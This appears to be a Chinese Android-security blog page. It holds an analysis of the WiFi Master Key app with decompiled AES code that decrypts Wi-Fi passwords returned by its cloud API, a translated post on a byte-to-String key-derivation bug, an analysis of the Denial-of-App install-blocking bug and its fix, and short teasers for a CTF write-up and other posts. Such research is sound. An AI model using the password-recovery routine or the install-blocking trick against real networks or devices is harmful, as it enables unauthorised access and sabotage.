I/wpa_supplicant( 884): wlan0: Trying to associate with 5e:aa:aa:aa:aa:aa (SSID='aaaaaaaaa' freq=2462 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5e:aa:aa:aa:aa:aa
D/dalvikvm(13893): GC_CONCURRENT freed 356K, 4% free 18620K/19220K, paused 9ms+2ms, total 29ms
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5e:aa:aa:aa:aa:aa reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
Wifi密码加解密分析
当然真正去逆向加密代码也不是很困难,简单的搜寻即可得到解密代码:(部分直接从反编译的代码中抠出,风格未做修饰)
public class AESFun {
String a =//略去;
String b = //略去;
String c = //略去;
Cipher cipher;
IvParameterSpec spec;
SecretKeySpec secretKeySpec;
void init() throws NoSuchAlgorithmException, NoSuchPaddingException {
spec = new IvParameterSpec(b.getBytes());
secretKeySpec = new SecretKeySpec(a.getBytes(), "AES");
cipher = Cipher.getInstance("AES/CBC/NoPadding");
}
public final String b(String arg7) throws Exception {
byte[] array_b1;
byte[] array_b = null;
int i = 2;
String string = null;
{
try {
this.cipher.init(2, secretKeySpec, spec);
Cipher cipher = this.cipher;
if(arg7 != null && arg7.length() >= i) {
int i1 = arg7.length() / 2;
array_b = new byte[i1];
int i2;
for(i2 = 0; i2 < i1; ++i2) {
String string1 = arg7.substring(i2 * 2, i2 * 2 + 2);
array_b[i2] = ((byte)Integer.parseInt(string1, 0x10));
}
}
array_b1 = cipher.doFinal(array_b);
}
catch(Exception exception) {
StringBuilder stringBuilder = new StringBuilder("[decrypt] ");
string = exception.getMessage();
StringBuilder stringBuilder1 = stringBuilder.append(string);
string = stringBuilder1.toString();
exception.printStackTrace();
throw new Exception(string);
}
string = new String(array_b1);
}
return string;
}
将API请求中获取的16进制pwd字段代入解密程序,得到的结果是如下格式:[length][password][timestamp]的格式,如下图所示,中间就是目标无线明文密码。
此外接口请求中有一个sign字段是加签,事实上是把请求参数合并在一起与预置的key做了个md5,细节就不赘述了。这两个清楚了之后其实完全可以利用这个接口实现一个自己的Wifi钥匙了。
总结
此版本的WiFi万能钥匙不会主动把root之后手机保存的无线密码发向云端但在做备份操作(安装时默认勾选自动备份)时会发送,当有足够的用户使用该应用时,云端就拥有了一个庞大的WiFi数据库,查询WiFi的密码时,应用会发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密,本地解密后连接目标WiFi。同时内置了常见的2000条WiFi弱口令,在云端没有该WiFi密码的时候,可以尝试爆破目标的密码。
[译]当EFBFBD来敲门 – 对Java中字符串与byte数组转换的观察及相关的安全隐患
当EFBFBD来敲门 – 对Java中字符串与byte数组转换对一个观察及相关的安全隐患
我(指原作者,下文同)正在进行一个激动人心的Android应用安全审计,发现了如此多的漏洞以至于我觉得对于开发来说全部推倒重写都比修掉发现的这么多漏洞省事。正在我洋洋得意的时候,忽然发现在hook的输出中有如下有些奇怪的加密key,喜悦和兴奋变成了疑惑和好奇:
Entryption Key:
EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
为什么这个加密密钥有如此多重复的’EFBFBD’字符串模式?难道是subustrate hook代码写错了,还是开发者在生成key的时候犯了错误,还是说这压根是打印错了并不是应用真正用来加密的密钥?
从源代码寻找原因
虽然我并没有这个应用的源代码,但不是可以反编译的嘛。通过包括动态hook和静态阅读混淆过的源代码在内的一系列方法和手段,我们能确认说hook代码并没有错,输出也就是我们想要的加密key. 那么下一步就是需要分析这个奇怪的key的生成方式,隐患也就在这里隐藏着。
出于简便起见,我们编写了一个简单的样例应用来复现这个问题。代码如下:
public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
getPassword().toCharArray(), getSalt(), 20000, 256);
try {
byte[] theKey =
SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
.generateSecret(localPBEKeySpec).getEncoded();
return new String(theKey);
} catch (InvalidKeySpecException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return null;
}
你发现问题在哪里了吗?没有的话也不要担心,我们下面会来具体进行分析。
大体上来说,这个函数使用用户的密码派生出一个加密密钥。这个加密密钥用来加密保护所有保存在设备中的该应用私有信息资源。首先这个应用将用户的密码,盐值,迭代次数(这里是20000轮)和想要得到的密钥长度(256bits)一起作为参数创建PBEKeySpec
密钥生成器,随后用它生成一个加密密钥并存储到byte数组中。到这里来说一切都还是正常的,但是下一句看似无辜的将byte array转换成String的语句就是真正的罪魁祸首。
我们来在这段代码中插入bytesToHex这样十六进制输出语句,以获得key十六进制的输出并进行前后对比
public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
getPassword().toCharArray(), getSalt(), 20000, 256);
try {
byte[] theKey =
SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
.generateSecret(localPBEKeySpec).getEncoded();
Log.i(_TAG, “Key (Before Casting): ” +
bytesToHex( theKey ) );
return new String(theKey);
}
..snip..
}
public static void test() {
String theKey = genKey();
Log.i(_TAG, “Key (After Casting): ” +
bytesToHex(theKey.getBytes()));
}
得到的输出是:转换前
B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
转换后
EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
Android中byte数组到字符串的转换
目前来说我们已经能够确定,这个奇怪的EFBFBD是因为bytearray到string的转换引入的,那EFBFBD究竟是个什么意思?(译者注:其实就是�符号)
根据Android文档,”Android平台默认的编码是UTF-8(注意这和一些旧的编码基于用户地区的系统相反).” 在UTF-8中,’EFBFBD’这个十六进制字符串代表替换字符(replacement character).简单来说,一个替换字符的作用是代替一个未知或无法表示的传入字符(译者注:Unicode字符单字节是0x00-0x7F的范围)。这意味着转换后的String中,每一个EFBFBD序列都对应着原始字符串中的一个无法表示的byte(或者说两个hex position)。为了证实这个想法,我们将转换后的字符串中的EFBFBD做一个替换:
B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
!!******603466**7B**6C24E2B2AA576A******0C6B********76**********
(注:”!!”是Android在转换时没有包括第一个byte,为了对齐而加上) 这个对比直观地展示了非法的Unicode byte都被星号所代替,也就是EFBFBD的位置。
其他系统中byte数组到字符串的转换
在观察了Android系统中这个并不寻常的行为之后,我们来看看其他平台上的行为。首先看看Windows。
这里要注意的是我们加了一句获取charset的代码,因为根据Java文档:”Java程序中默认字符集在JVM启动的时候设置,一般由操作系统的区域和字符集决定”。
public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
getPassword().toCharArray(), getSalt(), 20000, 256);
try {
byte[] theKey =
SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
.generateSecret(localPBEKeySpec).getEncoded();
System.out.println(“Key (Before Casting): ” +
bytesToHex( theKey ) );
return new String(theKey);
}
..snip..
}
return null;
}
public static void main(String[] args) {
System.out.println(“Default Charset: ” +
Charset.defaultCharset().name());
String theKey = genKey();
System.out.println(“Key (After Casting): ” +
bytesToHex(theKey.getBytes()));
}
在Eclipse, Windows 8.1(x64)上运行之后,我们得到了如下的输出:
`\
Default Charset:
windows-1252
Key (Before Casting):
B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
Key (After Casting):
B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3 `\
虽然转换前后key看起来基本相同,第四个字节却略有区别。原始字符串中是8D,转换之后变成了3F。这是因为在这次测试中,目标操作系统的字符集是Windows-1252/CP-1252,根据MSDN文档,0x81, 0x8D, 0x8F, 0x90和0x9D是未定义并被Windows保留的。因此String转换发生之后,8D字符就被替换为了3F字符,也就是’?’——问号
其他操作系统结果列举
转换前的key(这个对于每个平台当然都是相同的)
B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
Android 4.3 Key (转换后):
EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
Windows 8.1 (转换后):
B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
Ubuntu 12.04 (转换后):
EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
Mac OS X 10.10 (转换后):
EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
总结
本文分析了加密代码使用中常出现的一种错误转换问题,并指出了这种安全隐患的危害:会导致生成的密钥中出现大量的重复内容,增加了被爆破的风险。譬如说本文中提到的这个测试应用,它使用用户的密码生成一个加密密钥,但因为这个漏洞导致了密钥出现重复单元,降低了信息熵,也就是被爆破的难度。
参考
原文: http://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html
- http://developer.android.com/reference/java/nio/charset/Charset.html
- http://www.fileformat.info/info/unicode/char/0fffd/index.htm
- http://docs.oracle.com/javase/7/docs/api/java/nio/charset/Charset.html#defaultCharset()
- http://en.wikipedia.org/wiki/Windows-1252
- http://msdn.microsoft.com/en-us/goglobal/cc305145.aspx
- http://en.wikipedia.org/wiki/UTF-8
Denial of App -PackageManager占位拒绝安装漏洞-Google Bug 13416059 分析:
Denial of App – Google Bug 13416059 分析:
Author: hqdvista,转载注明出处。该文也已发布在drops.wooyun.org.
Soot作者Eric Bodden所在的实验室, Secure Software Engineering最近宣布他们将在SPSM’14上讲述名为Denial-of-App-Attack的Android系统漏洞,影响4.4.3之前的机型,并给出了poc和对应的google commit id. 这个在googlecode上对应的链接是https://code.google.com/p/android/issues/detail?id=65790。
POC:https://github.com/secure-software-engineering/denial-of-app-attack
该问题可以导致攻击者可以指定应用使其无法安装在手机上,除非有root权限或者factory reset手机。可以被木马用来占位拒绝杀毒软件的安装,或者占位拒绝竞品安装。下面是根据commit diff和poc给出的漏洞具体分析。
###问题现象:
下载安装这个POC,可以看到其实就是指定一个packagename,例如com.taobao.taobao,然后生成了一个malformed的APK并执行安装,由于该APK的dex是非法的,安装的时候会报告INSTALL_FAILED_DEXOPT并安装失败。但如果随后安装真正的com.taobao.taobao时,即使指定了重新安装选项(pm install -r),却会报INSTALL_FAILED_UID_CHANGED,导致后续安装失败,而在被占位的手机上已安装应用中却找不到com.taobao.taobao,自然也无法清除掉占位的幽灵,造成真正的淘宝应用完全无法安装,推而广之可以用在360等杀毒软件上。
###问题本质:
Google的diff对此问题的描述是:
We'd otherwise leave the data dirs & native libraries lying around. This will leave the app permanently broken because the next install of the app will fail with INSTALL_FAILED_UID_CHANGED. Also remove an unnecessary instance variable. Cherry-pick from master Bug 13416059
通过观察可以发现,第一次安装(所谓“占位”)结束的时候,在/data/data/目录下已经有了com.taobao.taobao目录并分配了一个uid,例如u70(10070),但第二次安装的时候,PackageManager却出现了UID_CHANGED的error,而没有复用u70,这是为什么?
INSTALL_FAILED_DEXOPT和UID_CHANGED是在如下代码块中:
3622 private PackageParser.Package scanPackageLI(PackageParser.Package pkg,
3623 int parseFlags, int scanMode, long currentTime, UserHandle user) {
//....
4141 if ((scanMode&SCAN_NO_DEX) == 0) {
4142 if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143 == DEX_OPT_FAILED) {
4144 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145 return null;
4146 }
4147 }
scanPackageLI函数流程大概如下:
/**/
//检查是否系统应用
/**/
//检查Package是否重复,否则抛出PackageManager.INSTALL_FAILED_DUPLICATE_PACKAGE
// Initialize package source and resource directories
3686 File destCodeFile = new File(pkg.applicationInfo.sourceDir);
3687 File destResourceFile = new File(pkg.applicationInfo.publicSourceDir);
//...
// Just create the setting, don't add it yet. For already existing packages
3812 // the PkgSetting exists already and doesn't have to be created.
3813 pkgSetting = mSettings.getPackageLPw(pkg, origPackage, realName, suid, destCodeFile,
3814 destResourceFile, pkg.applicationInfo.nativeLibraryDir,
3815 pkg.applicationInfo.flags, user, false);
//在这之后uid已经被指定了
/**/
//检查签名
//检查Provider权限
//开始创建目录
final long scanFileTime = scanFile.lastModified();
3926 final boolean forceDex = (scanMode&SCAN_FORCE_DEX) != 0;
3927 pkg.applicationInfo.processName = fixProcessName(
3928 pkg.applicationInfo.packageName,
3929 pkg.applicationInfo.processName,
3930 pkg.applicationInfo.uid);
3931
3932 File dataPath;
3933 if (mPlatformPackage == pkg) {
//omit
3937 } else {
3938 // This is a normal package, need to make its data directory.
3939 dataPath = getDataPathForPackage(pkg.packageName, 0);
3940
3941 boolean uidError = false;
3942
3943 if (dataPath.exists()) {
3944 int currentUid = 0;
3945 try {
3946 StructStat stat = Libcore.os.stat(dataPath.getPath());
3947 currentUid = stat.st_uid;
3948 } catch (ErrnoException e) {
3949 Slog.e(TAG, "Couldn't stat path " + dataPath.getPath(), e);
3950 }
3951
3952 // If we have mismatched owners for the data path, we have a problem.
3953 if (currentUid != pkg.applicationInfo.uid) {
3954 boolean recovered = false;
3955 if (currentUid == 0) {
3956 //omit...
3969 }
3970 if (!recovered && ((parseFlags&PackageParser.PARSE_IS_SYSTEM) != 0
3971 || (scanMode&SCAN_BOOTING) != 0)) {
3972 // If this is a system app, we can at least delete its
3973 // current data so the application will still work.
3974 //omit...
4001 } else if (!recovered) {
4002 // If we allow this install to proceed, we will be broken.
4003 // Abort, abort!
4004 mLastScanError = PackageManager.INSTALL_FAILED_UID_CHANGED;
4005 return null;
4006 }
} else {//目录不存在,新建立
4029 if (DEBUG_PACKAGE_SCANNING) {
4030 if ((parseFlags & PackageParser.PARSE_CHATTY) != 0)
4031 Log.v(TAG, "Want this data dir: " + dataPath);
4032 }
4033 //invoke installer to do the actual installation
4034 int ret = createDataDirsLI(pkgName, pkg.applicationInfo.uid);//建立目录
4035 if (ret < 0) {
4036 // Error from installer
4037 mLastScanError = PackageManager.INSTALL_FAILED_INSUFFICIENT_STORAGE;
4038 return null;
4039 }
4040
4041 if (dataPath.exists()) {
4042 pkg.applicationInfo.dataDir = dataPath.getPath();
4043 } else {
4044 Slog.w(TAG, "Unable to create data directory: " + dataPath);
4045 pkg.applicationInfo.dataDir = null;
4046 }
4047 }
//omit...
//拷贝nativeLibrary
//omit...
//进行DexOpt
4141 if ((scanMode&SCAN_NO_DEX) == 0) {
4142 if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143 == DEX_OPT_FAILED) {
4144 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145 return null;
4146 }
4147 }
那么漏洞的原理就很清楚了,第一次占位安装时,故意让PMS在数据目录已分配uid并写入了/data/data/下之后走到dexopt时使其报错,导致安装异常终止,此时已放置的数据目录却没有被清除掉。第二次安装的时候package被分配了新的的uid,但此时已有同名却不同uid的数据目录存在,导致uid_changed错误,安装失败。
为什么第二次安装的时候就会被分配不同的uid?关键在于 mSettings.getPackageLPw,辗转ref到/frameworks/base/services/java/com/android/server/pm/Settings.java
private PackageSetting getPackageLPw(String name, PackageSetting origPackage,
359 String realName, SharedUserSetting sharedUser, File codePath, File resourcePath,
360 String nativeLibraryPathString, int vc, int pkgFlags,
361 UserHandle installUser, boolean add, boolean allowInstall) {
//omit...
} else {
423 p = new PackageSetting(name, realName, codePath, resourcePath,
424 nativeLibraryPathString, vc, pkgFlags);
425 p.setTimeStamp(codePath.lastModified());
426 p.sharedUser = sharedUser;
427 // If this is not a system app, it starts out stopped.
428 if ((pkgFlags&ApplicationInfo.FLAG_SYSTEM) == 0) {
429 if (DEBUG_STOPPED) {
430 RuntimeException e = new RuntimeException("here");
431 e.fillInStackTrace();
432 Slog.i(PackageManagerService.TAG, "Stopping package " + name, e);
433 }
434 List<UserInfo> users = getAllUsers();
435 if (users != null && allowInstall) {
436 for (UserInfo user : users) {
437 // By default we consider this app to be installed
438 // for the user if no user has been specified (which
439 // means to leave it at its original value, and the
440 // original default value is true), or we are being
441 // asked to install for all users, or this is the
442 // user we are installing for.
443 final boolean installed = installUser == null
444 || installUser.getIdentifier() == UserHandle.USER_ALL
445 || installUser.getIdentifier() == user.id;
446 p.setUserState(user.id, COMPONENT_ENABLED_STATE_DEFAULT,
447 installed,
448 true, // stopped,
449 true, // notLaunched
450 null, null);
451 writePackageRestrictionsLPr(user.id);
452 }
453 }
454 }
455 if (sharedUser != null) {
456 p.appId = sharedUser.userId;
457 } else {
458 // Clone the setting here for disabled system packages
459 PackageSetting dis = mDisabledSysPackages.get(name);
460 if (dis != null) {
//omit..
484 } else {
485 // Assign new user id
486 p.appId = newUserIdLPw(p);//关键点
487 }
488 }
继续查看newUserIdLPw
private int newUserIdLPw(Object obj) {
2360 // Let's be stupidly inefficient for now...
2361 final int N = mUserIds.size();
2362 for (int i = 0; i < N; i++) {
2363 if (mUserIds.get(i) == null) {//检查空位
2364 mUserIds.set(i, obj);
2365 return Process.FIRST_APPLICATION_UID + i;
2366 }
2367 }
2368
2369 // None left?
2370 if (N > (Process.LAST_APPLICATION_UID-Process.FIRST_APPLICATION_UID)) {
2371 return -1;
2372 }
2373
2374 mUserIds.add(obj);
2375 return Process.FIRST_APPLICATION_UID + N;
2376 }
mUserIds是一个PackageSettings的数组状结构,维护了当前的userid,并在安装时遍历进行分配。在第一次恶意的占位安装中,mUserIds这个array状结构已经被添加了一个PackageSettings进去,形成类似于[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)}]的结构,但在dexopt failed的时候最末尾一项没有被移除。随后再安装时,newUserIdLPw会遍历mUserIds,发现没有空位,就会在末尾重新添加一个,形成[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)},PackageSetting{(10071, com.taobao.taobao)}]的结构,导致两次安装分配的UID不同,触发INSTALL_FAILED_UID_CHANGED。
但值得注意的是,这时候mUserIds并没有被固化在packages.xml和packages.list中。
###进一步思考:
那么这样肯定会想到,如果杀掉system_server(软重启),让其重新扫描并建立mUserIds数组不就能修复这个问题了?
理论上来说,如果在重启前没有安装过其他应用的话,那么这还真是可行的。因为重启后重新建立的uid数组是[(10001, bla),…,(10069, haha)],那么重新安装的com.taobao.taobao刚好能占到10070的位置,皆大欢喜。
但如果在重启后又安装了其他应用,那么其就会占掉10070的位置,导致taobao再安装的时候以10071及之后的uid就拿不回原来应该属于它的/data/data/com.taobao.taobao了… what a pity.
以上在stock rom(Genymotion, SDK)和小米2、Nexus等上验证通过。
所以现在看来,原作者说只有root或者reset才能清除这个问题的说法似乎不准确,至少从给出的poc和google的diff来看实验结果某些情况下重启就能fix。总体来说,这是一个比较好玩的trick类漏洞,而且从issuelink来看,应该还有一些其他类型的同样效果的漏洞存在。
###Google对此的修复:
Google的diff主要是添加了SCAN_DELETE_DATA_ON_FAILURES的flag,在设置了该flag的时候安装失败时会删除遗留掉的文件。
@@ -4644,6 +4643,10 @@
if ((scanMode&SCAN_NO_DEX) == 0) {
if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
== DEX_OPT_FAILED) {
+ if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+ removeDataDirsLI(pkg.packageName);
+ }
+
mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
return null;
}
@@ -4721,6 +4724,10 @@
PackageParser.Package clientPkg = clientLibPkgs.get(i);
if (performDexOptLI(clientPkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
== DEX_OPT_FAILED) {
+ if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+ removeDataDirsLI(pkg.packageName);
+ }
+
mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
return null;
}
###如何fix某个占位攻击:
root下删除该数据目录即可,非root。。。那只能reset了。
一种Android沙盒中监控root命令执行的方法 (Enable command logging in Android)
author: hqdvista a.k.a flanker017
原创,转载请注明出处
0x01 Root下命令记录的情况
在Android应用中,有各种各样的应用都会去执行命令,很多灰色应用则是调用su去执行一些见不得人的勾当。一般来说执行root命令在framework层会这么做:
public static String execSuCommand(String cmd) throws IOException
{
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes(cmd+"n");
os.flush();
os.writeBytes("exitn");
os.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(
process.getInputStream()));
int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();
while ((read = reader.read(buffer)) > 0) {
output.append(buffer, 0, read);
}
reader.close();
os.close();
return output.toString();
}
当然,在native层直接调用su也可以。那沙盒监控中的需求就来了:如何监控到app执行了什么样的shell命令?
Continue reading
ACTF-misc300官方writeup
author: hqdvista a.k.a flanker017
0x01 数据包分析
将数据包 (链接:http://pan.baidu.com/s/1ntrzThB 密码:cbf2)下载下来,在wireshark中打开,看一下statistics和conversations,会看到一大坨http和personal-agent(5555)端口。http看过一遍,基本都是新浪新闻、google搜索ACTF这种,似乎没有什么有价值信息。(X里的wireshark太难看了)
那么5555端口会是什么?大概follow stream一下, 玩过android的人应该会意识到这是adb的协议。从数据流大小来看,普通的adb shell命令很难会产生这么多数据,那么要么是adb pull从设备中拖取了什么信息,要么是adb push了什么东西。
再往下翻: ,就会发现有意思的东西,安装流量,也就是说流量里是一个完整的安装APK的过程!
Continue reading
[Revert from backup]对Android最新fakesms漏洞的分析
注:原文发表于 2012-11-08并同时发表于freebuf,后来在博客地震中消失了,现在的是根据freebuf上的恢复而来的。
近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app在没有write_sms权限下可以伪造任意发件人的任意短信。
Continue reading